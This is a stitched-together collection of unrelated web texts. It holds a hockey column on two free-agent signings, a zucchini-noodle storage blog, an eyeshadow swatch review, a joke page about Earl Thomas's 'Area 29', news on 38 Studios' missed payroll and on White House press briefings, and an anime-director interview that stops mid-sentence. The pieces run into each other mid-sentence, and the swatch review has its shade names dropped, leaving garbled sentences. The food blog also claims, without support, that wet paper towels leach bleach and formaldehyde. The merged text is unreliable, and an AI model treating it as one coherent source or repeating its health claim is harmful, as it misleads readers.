Goalless through 11 games, MacArthur was starting to feel some pressure. When he arrived in Ottawa, he had been given Alfredsson’s old stall, something everyone, including Bobby Ryan, turned down before MacArthur was the odd one out. The locker was starting to get in his head.
“I’m looking to move. I’m not feeling ghosts, but it’s a tough spot to sit in, that’s for sure.” – Clarke MacArthur. Ottawa Sun. Published: Oct. 18, 2013.
MacArthur finally ended his drought with a goal in his twelfth game of the year against the New York Islanders. Clarkson took one less game, scoring his first goal in his eleventh game.
After his slow start, MacArthur proved to be one of the team’s top forwards. Clarkson, not so much.
Overall, the two players had two completely different impacts on their respective teams. MacArthur took up an offensive role alongside Kyle Turris and Bobby Ryan, and Clarkson, well, he couldn’t provide much. MacArthur finished with 55 (24,31) points on the year, and Clarkson ended up tallying just 11 (5,6).
MacArthur also showed he was capable of being a two-way player. On a team that was severely outshot and outscored, MacArthur was a bright spot in their defensive game. The Senators had a goal differential of minus-29, but MacArthur managed to be a plus-12 only second to Turris who was an impressive plus-22. MacArthur’s possession stats were also intriguing. The Senators were 29th in the league for shots against, but MacArthur had a CF% of 54.1, first on the team.
Clarkson seemed to be the norm in Toronto. The Leafs finished with a goal differential of minus-25 and he was an ordinary minus-14. The team finished dead last in the league for shots against and he had a CF% of 42.3. Ho-hum.
A lot was expected from Clarkson, which didn’t make much sense. He had only been a 30-goal scorer once in his career, and he never surpassed the 50-point mark, his highest being 46 in the 2011-12 season. Everyone had made Clarkson out to be this underrated goal scorer, when really, he had only ever scored more than 17 goals once in that miraculous 30-goal campaign.
In the end, the Leafs spent way too much for too little, and the Senators got what they bargained for. Each goal Clarkson scored ultimately cost the Leafs $1.05-million while it only cost the Senators $135-thousand every time MacArthur found the back of the net. By the end of the season, Clarkson was considered to be one of the league’s most overpaid and overrated players.
Where Are They Now?
Over the summer, the Senators made it their goal to sign MacArthur for the coming years in Ottawa. On August 19, both sides agreed to a five-year extension worth $4.65-million per year. MacArthur was staying in the Nation’s Capital long term and was still making less than Clarkson in Toronto.
A lot of people have warned the Senators faithful that MacArthur tends to be a bust in his second year with a team. In his second campaign with the Leafs, MacArthur saw a 19-point decrease in his production, but so far, it’s looking like he won’t be taking any steps back this season.
While he and Erik Karlsson are tied for the team lead in points with 10 each, MacArthur is also in the top ten in the league for goals with seven and is tied for the league lead in game winners with three. It seems like MacArthur is stepping up and taking an even bigger role on the team, given that Jason Spezza is no longer around to lead the offence.
As for Clarkson, he’s off to the start everyone expected. With three goals and one assist in the first 14 games, Clarkson isn’t having any kind of bounce-back season he hoped for.
Two free agent signings, two completely different stories.Wondering how to store zucchini noodles and how long they’ll last in the fridge? I love to make a huge batch of zoodles and keep them in the fridge for a few days to use whenever the zoodle fancy strikes me. It makes it so much easier to eat healthy when you have something ready to go. When I’m tired, the last thing I want to do is spend a lot of time in the kitchen. It’s tempting to order takeout on these occasions but if I’ve got zoodles ready it’s really easy to pull some out of the fridge, whip up an easy sauce, and chow down. I’ve even been known to mix them with cold tomato sauce from a jar and eat them as is – no heating or warming up. It tastes like leftover spaghetti straight from the fridge – one of my favorite ways to eat pasta … cold!
How Long Do Zucchini Noodles Last in the Fridge?
Zucchini noodles will last in the fridge for about three days. They probably won’t be as fresh after three days and you run the risk of them spoiling at the four day mark so aim for using them within three days.
Remove Excess Moisture
Before you store your zoodles, you’re going to want to get the excess moisture out of them. Here are a few methods for doing that.
THE NUT MILK BAG METHOD
To get the excess major moisture out of the zoodles, put them in a nut milk bag (or cheesecloth) and wring it. This will get a lot of moisture out. Keep wringing it until you aren’t getting much liquid out anymore.
THE COLANDER METHOD
You can use this method alone or in combination with wringing them out in the nut milk bag or cheesecloth. I recommend doing both for the perfect level of moisture in your zoodles. Put them uncovered in a colander over a bowl in the fridge overnight or up to 24 hours. The excess moisture drips into the bowl (there won’t be much if you’ve wrung them out beforehand) and being uncovered in the fridge also helps to dry them out. By the next day, they’re usually just right and ready for your favorite recipe. So if you plan ahead and make your zoodles in advance you’ll have the best result.
THE SALT METHOD
The salt method of getting moisture out of zucchini noodles is a popular one. It’s not my preferred method because I honestly don’t think it works very well but a lot of people swear by it. After making your zoodles, put them in a colander and generously salt them. Mix the noodles up with your hands to make sure the salt covers all of them. Let them sit for about half an hour then rinse them with water to get the salt off. Put them in a clean dish towel, nut milk bag, or cheesecloth and wring all of the water out.
Why don’t I recommend this method? The zoodles invariable taste too salty even if they’ve been rinsed well. It also takes way too much time for a not very good result compared to the other methods.
STORING THE ZOODLES
Now that you’ve got the excess moisture out of your zucchini noodles, it’s time to store them.
ZIPLOC BAG
A gallon Ziploc back is a great way to store zucchini noodles. After you’ve removed moisture from them using your preferred method, just place them in a gallon Ziploc bag with an unbleached paper towel. I like to use unbleached paper towels for things like this so the food doesn’t soak up any bleach or formaldehyde. When paper towels get wet, like they do when placing zucchini noodles on them, they release more of their toxins. (For more on the chemicals in paper towels and paper products, check out this article.)
AIRTIGHT GLASS or PLASTIC CONTAINER
If you’re avoiding plastic in your house, an airtight glass container will work well for storing zoodles. We love these Go GREEN glass containers with BPA-free plastic lids. Put your zoodles in the container lined with an unbleached paper towel. A plastic container will also work, of course!
FOOD SAFETY
I wanted to make sure that the method I use of storing the zucchini noodles uncovered for the first 24 hours is okay from a food safety perspective, so I asked the USDA.
Marianne H. Gravely of the USDA Food Safety Education staff told me, “We cover foods to keep them from drying out, spreading or absorbing odors, and to protect them from spills/being spilled on. So there’s no problem with storing the zucchini Noodles uncovered, but I would recommend storing them high in the refrigerator so nothing can spill on them.”
I recommend keeping them just 2 days covered after the initial 24 hours of uncovered storage for a total of three days for best results. The dryer they are, the longer they will stay fresh in the fridge but I think 3 days total is a good rule of thumb.The full order minus mirror
More after the break!
Mirror! Isn't she so pretty?
Swatches!
Full arm
L-R: He Was No Frog, Goodbye Hans, Golden Slipper, The Thirteenth Gift, Let Down Your Hair, The Devil Told You That
L-R: Barely a Bite, The Summer Garden, Gingerbread Haus, Death at His Feet, The Better to Eat You With, Nightingale
L-R: Kaelpie, Berenice, Erato, Three Ravens, Bluebeard, Urania, BS with a Body Count
Closeups
L-R: He Was No Frog, Goodbye Hans, Golden Slipper
Top to Bottom: Bare Skin, TFSI, TFGG
L-R: The Thirteenth Gift, Let Down Your Hair, The Devil Told You That
L-R: Barely a Bite, The Summer Garden, Gingerbread Haus
L-R: The Summer Garden, Gingerbread Haus, Death at His Feet
L-R: Gingerbread Haus, Death at His Feet, The Better to Eat You With, Nightingale
Kaelpie, Berenice, Erato
L-R: Three Ravens, Bluebeard, Urania, BS With a Body Count
Pictures taken in natural light except where noted. Over bare skin, Too Faced Shadow Insurance, and Too Faced Glitter Glue and applied by pat-swiping with a MAC 239.is described by Corvus as "a pastel blue-green with a gold shift". I would probably call it a pastel mint with gold shimmer.is described as "a bright orange with gold shimmer". This is pretty accurate, although I found the gold shimmer to be pretty subtle. Golden Slipper is described as "a champagne gold with a slight shimmer". It also leans rose-y at certain angles. This shade is pretty similar in depth to my skin color, which makes it harder to see in pictures.At the top of the pictures, you can see that the all shadows perform surprisingly well without primer, but become much more opaque with it-- I'm very impressed.is described as "a coral pink with a gold shift". It's for sure one of my favorite colors.is described as "a soft nude-pink with lots of shimmer". This is a pastel pink on me, very soft and romantic, bit lighter than my skintone.is described as "a soft white highlight shade with a gold sheen". The gold is pretty subtle, but it's more apparent in real life than it is in these pictures. It's also a very opaque white, probably one of the best in my collection. I found it not to be chalkyAgain, the colors perform well on bare skin, but are more opaque over a normal primer, while glitter glue really brings out the shine. The Devil Told You That, in particular, does very well over bare skin.The next few photos were taken in natural lighting, but the sun started hiding a little, so some of the pictures are lit strangely because I used a desk lamp with a 4100K lightbulb to try to add more light to one side and perhaps show off the shifts better.is described as "an apple red with a poisonous green shift". This shadow is amazing. It's a little remniscent of Femme Fatale Candied Apple, but Candied Apple has more of a muted, dusty rose base and Barely a Bite is more red/orange..is described as "a midtoned rosy purple". I think it's on the raspberry side of red/purple, with a satin finish and a touch of shimmer.is described as "a matte tan with a complex indigo-purple-red shift". The base color is pretty similar to what I think of gingerbread as being, kind of an orange-brown. I don't know if I read indigo from the shift, but there are some visible particles that definitely spark purple. It's a very interesting color to look at but the sparks don't quite stick to skin without glitter glue.is described as "a dark chocolate brown with a satin finish". This is accurate. It leans on the matte side of satin until glitter glue brings out the shimmer.is described as "an antique silver with deep brown undertones". I find this color to be pretty interesting. It's definitely neutral, but it's not quite silver and it's not quite brown. I could see it as an all-over lid color for a smokey eye. Looks great over normal primer.is described as "a mid-toned aubergine with subtle shimmer". This shadow is a very rich purple-- it looks most accurate in the top two pictures. Performs very well over normal primer, but isn't as shimmery without glitter glue.is described as "a murky gray with a strong turquoise shift". I've seen some swatches that make the base look almost brown, but gray is accurate. The shift is more of a green to me, though.is described as "a matte dark brown-red, the color of dried blood, with a slight sparkle, like Berenice's teeth". This really does look like the color of dried blood, much more so than I was expecting. The sparkle isn't especially apparent. It shows up pretty well over bare skin, but looks lighter and more muted.is described as "a dark, shimmery, metallic burgundy with a soft coppery sheen". Erato is beautiful and I love it. It's a tiny bit redder in real life than it appears in these pictures.This was my last set of swatches and you may have noticed that I lost the ability to tape straight and color between the lines.is described as "a satiny black with strong blue undertones". This is the kind of color that I would think of as a near-black blue. It looks black until you angle your hand and notice the subtle blue shimmer.is described as "a velvety navy blue". Not quite navy, more of a true blue with some shimmer, but very velvety and rich. It's the blue version of Nightingale to me, but more shimmery.is described as "a near-black navy base with a strong blue and turquoise shimmer, with gold and silver sparks". I didn't find this to be quite as dark as described, and it's one of the colors in this collection that I would probably only use foiled or over glitter glue. It is, however, definitely reminiscent of the night sky, with its gold and silver sparks.is described as "a gray toned blue-purple with a strong green shift". This is the only color I purchased from the new collection, and it was worth it. The shift is strong over normal primer as well as a sticky base, and I love the blurple base.That's it! I am such a fan of this formula. When I did preliminary finger swatches, I couldn't believe how well they did over bare skin, and almost all of them look beautiful over primer without a sticky base. He Was No Frog and The Thirteenth Gift are also set to get reformulations to improve performance.Corvus carries a good range of eyeshadow colors, and they will be releasing a new collection based on mermaids in June, as well as a mini collection of rose-gold satins, which I am very excited for.What Is Area 29?
Inside a Mystery
Deep in the Pacific Northwest, in the heart of Seattle (47.5953° N, 122.3317° W), there is a site that remains the subject of intense scrutiny and frequent scientific inquiry. Though it has no official name, it has come to be known popularly as Area 29.
Located within CenturyLink Field, Area 29 is best described as a combination of the infamous top secret government military installation, Area 51, and the Bermuda Triangle, an area of the Atlantic Ocean where planes and ships have vanished without a trace, never to be found.
What happens within Area 29 remains largely unknown; virtually no one has ever successfully traveled into it and returned. At times, based on the human carnage around its perimeter, it appears new forms of experimental weaponry are being tested there. There are also widely reported instances of objects that have flown into Area 29 — footballs, among them — and never been seen again. Sightings of paranormal or alien activity are abundant, focusing in particular on humanoid creatures that seem to move at otherworldly speeds.
INHABITANTS
Earl Thomas, free safety for the Seattle Seahawks, is the only known inhabitant of Area 29. His presence there has generated rampant speculation about his origins, causing many to question whether he is, in fact, human.
In his blog on EarlThomas.com — also named Area 29 — Earl provides an exclusive, ongoing, behind-the-scenes look into one of the world’s great unexplained mysteries.38 Studios head Curt Schilling being accosted by reporters following yesterday's meeting with the Rhode Island EDC.
Coming on the heels of yesterday's circus-like meeting and press conference regarding the developing situation at 38 Studios, WPRI is reporting that the company is in the process of paying its overdue $1.125 million payment to the Rhode Island Economic Development Corporation, but is doing so at the expense of its own employees.
Current reports state that 38 skipped payroll this week, leaving the more than 300 full-time employees at the company without a paycheck. In addition, a source has told Joystiq that all temp and contract employees had been let go as of this week.
In the wake of the situation at 38, Keith Stokes, the executive director of the RIEDC since 2010 and architect behind the $75 million loan that brought the studio to the state from Massachusetts, has resigned.
38 Studios still has yet to comment publicly on the situation.
UPDATE: Just when you thought this whole thing couldn't get any worse, WPRI now reports that the check 38 Studios reps hand-delivered to the RIEDC has been returned due to insufficient funds.Reince Priebus, incoming chief of staff for the Trump White House, made a vague comment Wednesday about reconsidering how the daily press briefing is conducted, and some journalists immediately saw it as a threat to end the daily briefings altogether.
During an interview Wednesday with conservative radio host Hugh Hewitt, Priebus said there's "a lot of different ways that things can be done" under the new Trump administration. He said that included the briefings, which he said could be among the things to "revisit" in terms of traditions in the White House.
"It just so happens that we're talking about those things right now, and what the new tradition, I guess you could say, should be in the Trump White House," Priebus said. "The traditions, while some of them are great, I think it's time to revisit a lot of these things that have been done in the White House."
On Twitter, some in the news media suggested that Priebus could be hinting that President-elect Trump would entirely do away with the press briefing.
"Priebus suggests they could do away with [White House] daily press briefing," tweeted Rosie Gray, a politics reporter who was just hired by the Atlantic.
Jennifer Rubin, a Trump critic who writes on Republican politics for the Washington Post, said, Trump will "never have a press conference — too hard for him, too likely he'll screw up in major ways."
"And so the long road to decline begins...," remarked Washington Post education columnist Jeff Selingo.
Fortune magazine technology reporter Aaron Pressman said, "As I've been saying, reporters will be out of the White House before this is over."
But Priebus did not say he would be ending the daily press briefing, nor did he say what kind of change he might bring to it. Only that the new White House may consider making changes.
The White House Correspondents' Association, an independent group of journalists and media professionals, currently has a lot of say in how the press briefings are conducted, most notably in which news outlets are assigned which seats in the room.
But as former White House press secretary Ari Fleischer, who served in the Bush (43) administration, pointed out in a Wall Street Journal op-ed last month, there's no guarantee that's how a Trump administration will do things, which could mean major changes starting next year.
"The White House press secretary used to decide who got what seats, but this authority was given to the White House Correspondents Association in the middle of the George W. Bush administration," Fleischer wrote. "Nothing prohibits the incoming administration from taking it back. The valuable West Wing real estate occupied by the White House press corps isn't the property of the press. It belongs to the U.S. government."
Priebus did say that some of the seating arrangements have been made in the last eight years under Obama. But soon after, White House Correspondents' Association president Jeff Mason of Reuters pushed back at that and said the customs have been around longer than that.
"The WHCA assumed responsibility for assigning the seats in the briefing room over the last two decades at the request of both Republican and Democratic administrations, who were mindful of the potential appearance of playing favorites if they assigned the seats themselves," Mason said. "The WHCA looks forward to meeting with the incoming administration to address questions and concerns on both sides about exactly this sort of issue."Within the world of Japanese animation, there are few individuals more prolific than Watanabe Shinichiro. This fact has become so prevalent in fact, that the term ‘anime’ has almost become synonymous with a majority of his series — many citing shows such as “Cowboy Bebop,” “Samurai Champloo,” and even his more recent “Space Dandy” as their introduction to the world of Japanese animation. As such, the opportunity for us to spend the evening with such an influential creator wasn’t something to be taken lightly, and over a series of both text and video interviews, we’ll be dwelling deep into the mind of Watanabe Shinichiro.
Sitting down with Watanabe, we spoke about his upbringings in the anime industry, as well as looked back at his long-history of creations and ideas. You can find our full text interview below:
OTAQUEST: Watanabe Shinichiro, it’s a pleasure to have you here. Kicking things off, you originally found your footing in the industry as an anime producer at ‘Nippon Sunrise.’ Of all the other active studios existent during that time, why was it you chose to work there?
Watanabe: I felt like Sunrise was a studio that actively sought to animate original works, rather than adaptations of pre-existing manga series. If I was going to get into the animation industry, I wanted to create my own works rather than adopting someone else’s series.
OTAQUEST: Up until you joined Sunrise, were you studying anime production?
Watanabe: I self-studied pretty much everything I know about movie production and direction on my own accord. I read plenty of books on both film techniques and technology, where I then learned basics such as the 180-degree rule of camera positioning, frame-right, and frame-left.
As for storyboarding, I learned a lot of that after entering the industry by looking at and mimicking the works of others. There was no proper education system to instruct directors in the anime industry at the time.
OTAQUEST: During that early period of time, were their any creatives who really caught your attention?
Watanabe: Kazuki Akane was kind of a friendly rival of mine — he originally debuted as a director with “The Vision of Escaflowne” at Sunrise in 1996. Even now we occasionally help each other out with projects.
OTAQUEST: Were there any anime directors that you derived a lot of inspiration from, or even those from whom you took reference from?
Watanabe: The director whom I have taken the most personal inspiration from would have to be Masaaki Osumi, who worked on the original “Lupin the Third” TV series. When the series debuted, it had a very adult tone and feel, which wasn’t bringing in the desired ratings, so he was removed from the project. He also assisted in directing the TV series “Moomin,” and it wasn’t until I myself became an adult that I realized he worked on both.
Since entering the anime industry, I also found myself influenced by Ryousuke Takahashi, who was a part of Sunrise’s third studio and best known for his work on “Armored Trooper VOTOMS.” I learned from him that I shouldn’t rely solely on my own ability to create — I needed to learn to rely more on my staff and their abilities, all while fostering their skills at the same time. For a job done as a team, especially something like the creation of anime, that is of great importance.
OTAQUEST: It was finally time in 1994 for you to take to the stage with your directorial debut on “Macross Plus.” Can you tell us a little bit about why you were selected to helm such a popular series?
Watanabe: At that time director Kawamori Shoji was producing a film called “Mime” at Sunrise, and it was because of our shared workspace that we originally became acquainted. Unfortunately, however, that film was shelved, but soon after planning for “Macross Plus” began. He approached me and asked if I’d be up for the task.
OTAQUEST: After Kawamori stopped working on “Mime,” his break from the anime industry was an extremely hot topic amongst fans, wasn’t it?
Watanabe: It was pretty major news. One of the main reasons I accepted the “ |
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